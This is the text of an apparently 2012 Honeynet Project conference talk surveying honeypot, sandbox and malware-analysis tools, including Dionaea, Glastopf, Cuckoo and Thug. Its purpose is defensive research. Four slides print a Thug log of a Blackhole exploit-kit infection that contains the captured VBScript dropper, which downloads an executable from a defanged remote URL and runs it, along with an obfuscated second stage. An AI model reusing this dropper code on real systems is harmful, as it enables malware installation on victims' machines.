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Speaker

 David Watson (UK)
 15 years managed services industry and consultancy
 Solaris, IP Networking, Firewalls, PenTest background
 Led the UK Honeynet Project since 2003
 Honeynet Project Chief Research Officer / Director
 Bootable systems, Honeystick, Honeysnap analysis tool,  

co-authored “KYE: Phishing”, KYE reviewer / editor
 GDH and HonEeeBox lead developer & project manager

 GSoC org admin, Conficker Working Group

 Shadowserver Foundation member

 Director of UK open source consultancy Isotoma Ltd.
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              Original Concepts

 Honeypots
 Honeynets
 Low / High interaction
 Research / Production

 Data capture
 Data control 
 Honeywall / Sebek

 Server → Client
 Automated malware 

collection, sandboxes

 Know Your Enemy: Learning 
About Security Threats 

ISBN-10: 0321166469 
http://www.honeynet.org/book/index.html

 Virtual Honeypots
(Niels Provos and Thorsten Holz)

ISBN-10: 0321336321 

http://www.amazon.com/exec/obidos/ASIN/0321166469/ref=nosim/thehoneynet0c-20
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http://www.honeynet.org/speaking/PacSec07_David_Watson_Global_Distributed_Honeynet.pdf
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http://www.honeynet.org/speaking/PacSec07_David_Watson_Global_Distributed_Honeynet.pdf



  
David Watson (david@honeynet.org.uk) 6



  
David Watson (david@honeynet.org.uk) 7

2011/2012 R&D Focus Areas

 Mobile device honeypots
 Virtualization honeypots and attacks
 Topical malware (stuxnet, SCADA, etc)
 Active defence research (e.g. botnet take 

down in an ethical manner)
 Distributed data collection, analysis and 

visualisation (including HonEeeBox)
 IPv6 honeynets (tools and deployments)
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Recent Honeynet R&D 
 via Google Summer of Code
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GSoC 2009

Updates:
 PhoneyC ++
 Capture-HPC ++
 Nebula ++
 PicViz ++

New:
 Dionaea
 Glastopf
 Qebek (QEMU)
 Hybrid Honeypots
 Sebek visualization
 Client honeypot 

management
http://www.honeynet.org/gsoc2009/slots
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GSoC 2010

Updates:
 PhoneyC ++
 Dionaea / VoIP ++
 Capture-HPC ++

New:
 PHP/RFI Sandbox
 IM Honeypot
 Botnet C&C monitor
 HI server VMI
 Infected Host DNS
 TraceExploit
 Log Anonymization
 Cuckoo Sandboxhttp://www.honeynet.org/gsoc

2010/slots
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GSoC 2011

Updates:
 Capture-HPC ++
 Wireshark ++
 Cuckoo ++
 Dionaea / SIP ++
 Shellcode 

emulation 
performance ++

New:
 AxMock
 Droidbox
 APKInspector
 WebViz / HoneyViz
 HoneySink
 Hypervizor
 HonEeeBox / submit_http

http://www.honeynet.org/gsoc2011/slots
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GSoC 2012
 Cuckoo ++
 HonEeeBox ++
 Afterglow ++
 Droidbox ++
 APKInspector ++
 Glastopf ++
 Capture-HPC ++

 Automated Attack 
Community Graphs

 Sensor data mining
 Network malware 

simulation
 IPv6 attack detection
 HoneyProxy SSL
 Network analyzer
 Ghost USB

http://www.honeynet.org/gsoc20
11/slots
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Selected GSoC Tool Highlights
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Nepenthes → Dionaea

 Second generation low interaction honeypot
 Completely rewritten from lessons learned

Goals:
 Detect both known and unknown attacks
 Better protocol awareness
 Vulnerability modules in a scripting language
 Generic shellcode detection via LibEmu
 Make good use of existing supporting libraries
 Wider community support for new modules 
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Nepenthes → Dionaea

 C with glib
 LibEv events
 Embedded Python
 OpenSSL for TLS
 Udns (asynch)
 Curl and Libcfg
 SQL logging
 IPv6 support

 SMB/CIFS protocol 
emulation for 
(unknown) RPC calls

 Generic shellcode 
detection via LibEmu 

 Actions on shellcode 
profile (windows 
shell, file download) 
via LibEmu execution
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Dionaea homepage and URL

http://dionaea.carnivore.it
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http://libemu.carnivore.it
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http://honeynet.org/node/765
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http://carnivore.it/2010/10/13/xmpp_server



  
David Watson (david@honeynet.org.uk) 22

http://carnivore.it/2010/09/11/mssql_attacks_examined



  
David Watson (david@honeynet.org.uk) 23

http://carnivore.it/2011/05/15/extending_dionaea
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https://honeynet.org/node/776
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http://ore.carnivore.it/
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Glastopf Web Honeypot
 Minimalistic web server written in Python
 Scans incoming HTTP request strings
 Checks for remote file inclusion (RFI), local file 

inclusion (LFI) and SQL Injection
 Signatures and dynamic attack detection 
 Attempts to download attack payloads
 Search keyword indexing to draw in attackers
 MySQL database plus web console
 Surfnet.nl data upload plugin
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Glastopf homepage + URL

http://glastopf.org                       http://www.honeynet.org/node/580

http://glastopf.org/
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://project.honeynet.org/papers/KYT_Glastopf
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http://dev.glastopf.org/projects/glastopfng/wiki/About
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Glastopf V3

 Currently being developed under DARPA Cyber 
Fast Track and GSoC (initial release May 2012)

 Built-in PHP sandbox, code injection emulation, 
automated attack surface generation & expansion

 Modular implementation for existing web sites 
(lightweight Python server or WSGI module in 
common web server environments)

 Integrates with botnet monitoring & sandbox 
systems via HPFeeds

http://www.honeynet.org/node/859



  
David Watson (david@honeynet.org.uk) 37

http://dev.glastopf.org/projects/shw/im-honeypot
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AxMock

 Trace behaviour of WinXP IE7 ActiveX 
control (manually or client honeypot)

 Obtain class ID and program ID
 Emulate/replace  behaviour or return null 

when methods invoked
 Proxy  selected methods, intercept method 

invokation and modify response
 Text file config management

http://code.google.com/p/axmock/



AxMock

• One module for Capture-HPC

AxMock



Malicious 
Webpage

AxMock

AxMock Log File
Function Pointer Address,
Argument Value,
Argument Type,
Argument Address (Taint 
Source)

Taint Analysis

Symbolic Execution

Vulnerability 
Signature 
Database

Trace Log File
Tainted Data Flow

Formula
SMT Format 

Random 
Symbol

Trace Log File
• Tainted Data Flow
• Tainted Data Type
•  Relationship to 

Argument, Method, 
ActiveX Plugin 
Respectively

Skip it 

Semantic 
Vulnerability 

Signature Database

√

Variable-level 
Taint Analysis

Smart Fuzzing with 
Variable-Level 

Symbol

√
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More?

 AxMock, Android, etc

http://code.google.com/p/axmock/
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http://code.google.com/p/apkinspector/



APKinspector
Control 

Flow Graph

Dalvik, bytecode, smali, Java codes

call  in/ call out
 relationship

Dangerous  permission and the corresponding 
APIs used
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http://code.google.com/p/droidbox/
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http://www.honeynet.org/node/783
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http://www.darkreading.com/vulnerability-management/167901026/security/news/231600597/new-free-tools-simplify-analysis-of-android-malware.html
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https://github.com/pjlantz/Hale.git
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HoneySink

https://honeynet.org/node/773
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http://www.darkreading.com/vulnerability-management/167901026/security/vulnerabilities/231601546/free-honeysink-tool-captures-botnet-traffic.html
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http://code.google.com/p/loganon
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Cuckoo Sandbox

 Automated malware analysis system
 Analyze Windows executables, DLL files, PDF 

documents, Office documents, PHP scripts, 
Python scripts, Internet URLs, etc

 Windows guest VMs in Virtual box on Linux
 Windows hooking / driver plus python modules 

for extracting and analysing sample executions

http://cuckoobox.org/
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Cuckoo Sandbox

 Trace of relevant win32 API calls performed
 Dump network traffic generated (pcap)
 Creation of screenshots taken during analysis
 Dump of files created, deleted and 

downloaded by the malware during analysis
 Extract trace of assembly instructions 

executed by malware process

http://cuckoobox.org/



  
David Watson (david@honeynet.org.uk) 53

Cuckoo Sandbox

 Automate submission of analysis tasks
 Create analysis packages to define custom 

analysis operations and procedures 
 Run multiple virtual machines concurrently
 Script the process and correlation of analysis 

results data and automate the generation of 
reports in the format you prefer

 Version 0.4 coming next month

http://cuckoobox.org/
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http://cuckoobox.org/
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http://blog.cuckoobox.org
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http://malwr.com
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http://malwr.com
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http://malwr.com
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http://malwr.com
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http://malwr.com
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http://malwr.com
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http://malwr.com
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http://www.scmagazine.com.au/News/288091,open-source-malwr-analysis-launched.aspx
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https://honeynet.org/node/716          http://www.honeynet.org/node/790

https://honeynet.org/node/716
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https://honeynet.org/node/716          http://www.honeynet.org/node/790

https://honeynet.org/node/716
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https://honeynet.org/node/716          http://www.honeynet.org/node/790

https://honeynet.org/node/716
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Updated PicViz

 Information visualisation application (Python)
 Generates Parallel Coordinate diagrams from 

text logs, such as honeypot output
 Presents high volumes of data with multiple 

dimensions on a single simple diagram
 Birds eye view aids human pattern viewing
 PGDL: Picviz Graphics Description Language
 Now with added GUI for easy data exploration
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PicViz homepage + URL

http://www.wallinfire.net/picviz/
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http://project.honeynet.org/node/499
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http://project.honeynet.org/node/499
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http://project.honeynet.org/node/499
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http://project.honeynet.org/node/499
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http://project.honeynet.org/node/499
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http://honeynet.org/node/758
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WebViz
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HoneyViz

http://honeynet.org/node/763
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Other Recent Non-GSoC 
Honeynet Tools
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http://honeynet.org.au/?q=node/67
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http://www.newscientist.com/blogs/nstv/2011/03/born-to-be-viral-computer-fights-hacker-attack.html
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https://honeynet.org/node/812
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https://code.google.com/p/wolf-viz/
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http://pl.honeynet.org/HoneySpiderNetworkCapture



  
David Watson (david@honeynet.org.uk) 88

http://honeynet.org.au/?q=node/63
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http://www.honeynet.org/node/605     http://code.google.com/p/phoneyc

http://www.honeynet.org/node/605
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Thug LI Client Honeypot

 Low interaction (LI) client honey pots emulate web 
browser (ie IE on Linux)

 More scalable than HI but easier to detect

 Thug replaces PhoneyC (2009-2011)

 Internal project from Italian Sysenter Chapter

 Released March 2012

 Lessons learned from PhoneyC, but better ;-)

 Design limitations - DOM + Javascript, plugin 
detection in exploit kits, extensibility

http://www.honeynet.org/node/827
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Thug LI Client Honeypot

 Thug + plugin framework new approaches:

 Document Object Model – Thug's DOM almost 
W3C DOM Core and HTML specifications Levels 
1, 2 and partially 3) compliant, partially compliant 
with W3C DOM Events and Style specifications

 Easy to add missing features, rather than continue 
arms race with exploit writers and new kit versions

 Extensibility through additional python modules 
and pre/post analysis hooks

http://www.honeynet.org/node/863
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Thug LI Client Honeypot

 Javascript – switched to using Google V8 
Javascript engine wrapper through PyV8

 Abstract Syntax Tree generation and inspection 
(static attack sigs, breakpoint mechanism for 
trapping interesting events for dynamic analysis)

 Content inspection via V8 debugger protocol plus 
libemu for shellcode detection and emulation 
(dynamic analysis)

 Access entire JS memory/context, clean APIs

http://www.honeynet.org/node/827
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Thug LI Client Honeypot
 Personalities: 6 browser personalities - IE6-8 on 

XP/2000, 5-6 lines of code to add more. Chrome 
and FF coming

 Python vulnerability modules: activeX controls, 
core browser functions, browser plugins

 Logging: flat file, MITRE MAEC format, 
mongoDB, HPFeeds events + files

 Testing: successfully identifies, emulates and 
logs IE WinXP infections and downloads served 
PDFs, jars, etc from Blackhole & other attack kits

http://www.honeynet.org/node/827
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$ python thug.py -v "hxxp://myapp-ups.com/main.php?page=898e350e1897a478"

[2012-03-06 15:51:06] <applet archive="hxxp://myapp-ups.com/content/GPlugin.jar" code="Inc.class"><param name="p" test="12" valu="12" 
value="vssMlggUk7MMahMzPJFUgYPMvM-Vc/oAd/G6cr"></param></applet>

[2012-03-06 15:51:07] Saving applet hxxp://myapp-ups.com/content/GPlugin.jar

[2012-03-06 15:51:07] <param name="p" test="12" valu="12" value="vssMlggUk7MMahMzPJFUgYPMvM- Vc/oAd/G6cr"></param>

[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15

[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14

[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13

[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12

[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11

[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (adodb.stream)

[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (Shell.Application)

[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (msxml2.XMLHTTP)

[2012-03-06 15:51:07] [Microsoft XMLHTTP ActiveX] Fetching from URL hxxp://myapp-ups.com/w.php?f=97d19&e=2 [2012-03-06 15:51:08] 
[Microsoft XMLHTTP ActiveX] Saving File: eed88603a141913f83bb58b4eacc88cf

[2012-03-06 15:51:08] [Microsoft XMLHTTP ActiveX] send

[2012-03-06 15:51:08] [Adodb.Stream ActiveX] open

[2012-03-06 15:51:08] [Adodb.Stream ActiveX] Write

[2012-03-06 15:51:08] [Adodb.Stream ActiveX] SaveToFile (.//..//467f705.exe) [2012-03-06 15:51:08] [Adodb.Stream ActiveX] Close

[2012-03-06 15:51:08] [Shell.Application ActiveX] ShellExecute command: .//..//467f705.exe [2012-03-06 15:51:08] [Navigator URL 
Translation] ./content/ap1.php?f=97d19 --> hxxp://myapp- ups.com/content/ap1.php?f=97d19

Blackhole 1/4
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Blackhole 2/4

[2012-03-06 15:51:09] Microsoft Internet Explorer HCP Scheme Detected

[2012-03-06 15:51:09] Microsoft Windows Help Center Malformed Escape Sequences Incorrect Handling

[2012-03-06 15:51:09] [AST]: Eval argument length > 64

[2012-03-06 15:51:09] [Windows Script Host Run] Command:

cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","hxxp://myapp- 
ups.com/content/hcp_vbs.php?f=97d19&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set 
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End 
With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs 
&&

taskkill /F /IM helpctr.exe

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Code:

cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","hxxp://myapp- 
ups.com/content/hcp_vbs.php?f=97d19&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set 
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End 
With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs 
&&

taskkill /F /IM helpctr.exe

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Downloading from URL hxxp://myapp- 
ups.com/content/hcp_vbs.php?f=97d19&d=0

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Saving file 2eceb44e291417dc613739fb258e0ac0
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Blackole 3/4

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Code:

w=3000:x=200:y=1:z=false:a = "hxxp://myapp-ups.com/w.php?e=5&f=97d19":Set e = 
Createobject(StrReverse("tcejbOmetsySeliF.gnitpircS")):Set f=e.GetSpecialFolder(2):b = f & 
"\exe.ex2":b=Replace(b,Month("2010-02-16"),"e"):OT = "GET":Set c = 
CreateObject(StrReverse("PTTHLMX.2LMXSM")):Set d = CreateObject(StrReverse("maertS.BDODA"))

Set o=Createobject(StrReverse("tcejbOmetsySeliF.gnitpircS"))

On Error resume next

c.open OT, a, z:c.send()

If c.Status = x Then

d.Open:d.Type = y:d.Write c.ResponseBody:d.SaveToFile b:d.Close

End If

Set w=CreateObject(StrReverse("llehS." & "tpi"&"rcSW"))

Eval(Replace("W.ex2c b", Month("2010-02-16"), "E"))

W.eXeC "taskkill /F /IM wm" & "player.exe":W.eXeC "taskkill /F /IM realplay.exe":Set g=o.GetFile(e.GetSpecialFolder(2) & 
"\" & StrReverse("bv.l") & "s"):g.Delete:WScript.Sleep w:Set

g=o.GetFile(b):Eval("g.Delete")

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Downloading from URL hxxp://myapp-ups.com/w.php? 
e=5&f=97d19

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Saving file eed88603a141913f83bb58b4eacc88cf
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Blackhole 4/4

[2012-03-06 15:51:18] <param name="movie" value="content/field.swf"></param>

[2012-03-06 15:51:18] [Navigator URL Translation] content/field.swf --> hxxp://myapp-ups.com/content/field.swf [2012-03-
06 15:51:18] Saving remote content at content/field.swf (MD5: 027ddef75ff4f692196e0461756c3deb) [2012-03-06 
15:51:18] <param name="allowScriptAccess" value="always"></param>

[2012-03-06 15:51:18] <param name="Play" value="0"></param>

[2012-03-06 15:51:18] <embed allowscriptaccess="always" height="10" id="swf_id" name="swf_id" src="content/field.swf" 
type="application/x-shockwave-flash" width="10"></embed>

[2012-03-06 15:51:18] [Navigator URL Translation] content/field.swf --> hxxp://myapp-ups.com/content/field.swf [2012-03-
06 15:51:18] Saving remote content at content/field.swf (MD5: 027ddef75ff4f692196e0461756c3deb) [2012-03-06 
15:51:18] Saving log analysis at ../logs/a201092c67a6fecf301a09f8dae985b2/20120306155105
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https://github.com/buffer/thug
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Ghost USB Honeypot

 Many successful attacks spread across air 
gaps using USB flash (Conficker, Stuxnet)

 “Sheep dip” disinfection machine is 
impractical, humans are lazy, policies fail

 Idea to extend honeypot concept to handle 
malware propogation via USB devices

 Implement USB honeypot on production 
Windows systems and detect airgap 
“sneakernet” based malware transmission 

http://www.honeynet.org/node/871
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Ghost USB Honeypot

 Malware can use multiple APIs to detect 
insertion (ie window messages on device 
detection by kernel/bus driver)

 Emulate all possible methods of detecting 
USB device insertion/removal on Windows

 Goal to be indistinguishable to real 
removable physical USB devices

http://www.honeynet.org/node/871



  
David Watson (david@honeynet.org.uk) 101

Ghost USB Honeypot

 Implement kernel driver, hook at disk.sys 
disk driver level

 Ghost bus reports arrivial of Ghost drive
 I/O requests to Ghost stored as image file
 Hide ghost USB device from user
 Periodically emulate virtual USB flashdrive 

insertion to check for infections
 Hopefully capture malware written to USB

http://www.honeynet.org/node/871
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Ghost USB Honeypot

 Version 1 released last week
 Initial testing shows 8 second average 

infection time on device insertion (max 35 
seconds / min 1 second (Conficker))

 Being worked on this summer in HPSoC
 Eventually package, deploy, manage, 

report/alert centrally - when screen saver 
active as host based intrusion dection?

http://www.honeynet.org/node/871
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https://code.google.com/p/ghost-usb-honeypot/
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http://www.honeynet.org/SecurityWorkshops/2011_Paris/Session2_2-PacketSniffing
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http://www.honeynet.org/SecurityWorkshops/2011_Paris/Session2_2-PacketSniffing
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http://src.carnivore.it/streams
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http://www.honeynet.org/SecurityWorkshops/2011_Paris/Session2_1-Shellcode
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https://honeynet.org/files/shellcode_detection.pdf
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http://code.mwcollect.org/projects
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http://code.mwcollect.org/projects/mwcollectd
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Botsnoopd
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HPFeeds
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https://github.com/rep/hpfeeds
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HonEeeBox and HPFeeds
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HonEeeBox Approach
 Build small, cheap, highly portable low 

interaction honeypots for distributed 
malware collection to a central location 

 Deploy widely and internationally (100+)
 Centralised sample submission (anon opt)
 'Outsource' malware binary analysis to 

Shadowserver, VirusTotal, etc
 Focus development on reporting and 

analysis UI, then data analysis
 Add p0f data, netflow, kippo, etc
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Asus Eee PC Box (B202)

 Intel Atom x86 CPU
 1.6 GHz HT
 1GB RAM
 160GB hard disk
 Standard PC I/O
 Hardware warranty
 Small, quiet, low 

power, easy to ship

(Raspberry Pi?)

 Minimal Debian 
Squeeze installation

 Dionaea + HPFeeds
 Image or repos
 Live CD / USB / VM
 We ship it, you boot 

it and set locale
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https://hpfeeds.honeycloud.net
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HonEeeBox Participation
 1+ public IP addresses (more is better)

 1+ networked x86 PC/server(s) to boot ISO or USB key 
or space to host HonEeeBox sensor hardware 

 Be willing to submit basic attack data 

(SRC IP, download URL, MD5, timestamp, binary)

 Be willing to share collected malware samples with all 
participants, Project members and partners / sponsors

 Accept submissions from existing Dionaea sensors 

 Funding for additional sensor deployment

 Regional, CERT, industry, academic, etc

 Always need sponsorship ;-)
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HonEeeBox Future

 Shipped 135 sensors, 30-40 sensors active today

 Cover low data regions like China, Iran, Korea

 Aim to demonstrate 100+ distributed sensor nodes  
with zero day detection operating 24/7 in 2012

 Old prototype UI using ExtJS & MySQL backend

 Moving to Django/Python + HPFeeds from now 

 Improve collaborative development, data sharing 
and data analysis with the rest of the community

 Continuous data source for UI and data viz R&D

 Good outreach and partnerships with community too 
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Data Collection Tools
 Honeyd
 Honeywall / Hflow
 Sebek / Qebek

 Nepenthes / Dionaea
 LibEmu / Nebula
 Honeybow / Honeytrap
 Phoneyc / Trigona

 Capture-HPC / -Bat
 GDH / HonEeeBox

 Cuckoo Sandbox
 Sinkhole / Wireshark

 Picviz / Dataviz
 Droidbox / APKInspector
 Spampot / IM honeypot
 Honeymole / Hale

 Fast Flux Tracker
 Defacement Tracker
 Mwcollect / Botsnoopd

http://www.honeynet.org/tools

http://www.honeynet.org/tools
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Other Recent R&D Activity
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http://staff.washington.edu/dittrich/papers/wecsr2010-botethics-dlw.pdf
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http://www.securelist.com/en/blog/208193137/Botnet_Shutdown_Success_Story_How_Kaspersky_Lab_Disabled_the_Hlux_Kelihos_Botnet
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http://www.honeynet.org/node/833
http://blog.crowdstrike.com/2012/03/kelihosc-same-code-new-botnet.html
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http://www.honeynet.org/node/836
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http://www.ccdcoe.org/283.html



  
David Watson (david@honeynet.org.uk) 151

https://honeynet.org/papers/socialdynamics

a
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https://honeynet.org/node/829
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Future Research and Development
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Annual Workshop Photos

http://www.honeynet.org/SecurityWorkshops/2012_SF_Bay_Area_Announcement
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          2012: Anything Left To Do?

 More active maintenance of core tools
 Working high volume client honeypot
 Mobile honeypots (new or just porting?)
 Hypervizor layer, OS independent VM 

introspection for covert data capture/control
 Enterprise & scalability, operationalisation
 Visual programming environment for security 

analysts with big data and collaboration
 Suggestions later please!
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Many People To Thank
 All of our GSoC students and mentors / 

org admins in 2009-2012
 All of our members for their continuing 

dedication as motivated volunteers
 Google for funding Google Summer of Code
 Community for testing and using our tools 

plus sharing their research too
 CERT.EE for hosting us at all at 0ct0b3rf3st
 You for putting up with a very rapid overview 

of many different active R&D areas



David Watson        david@honeynet.org.uk

Any Questions?

http://www.honeynet.org

Overview of Recent Honeynet
Research and Development
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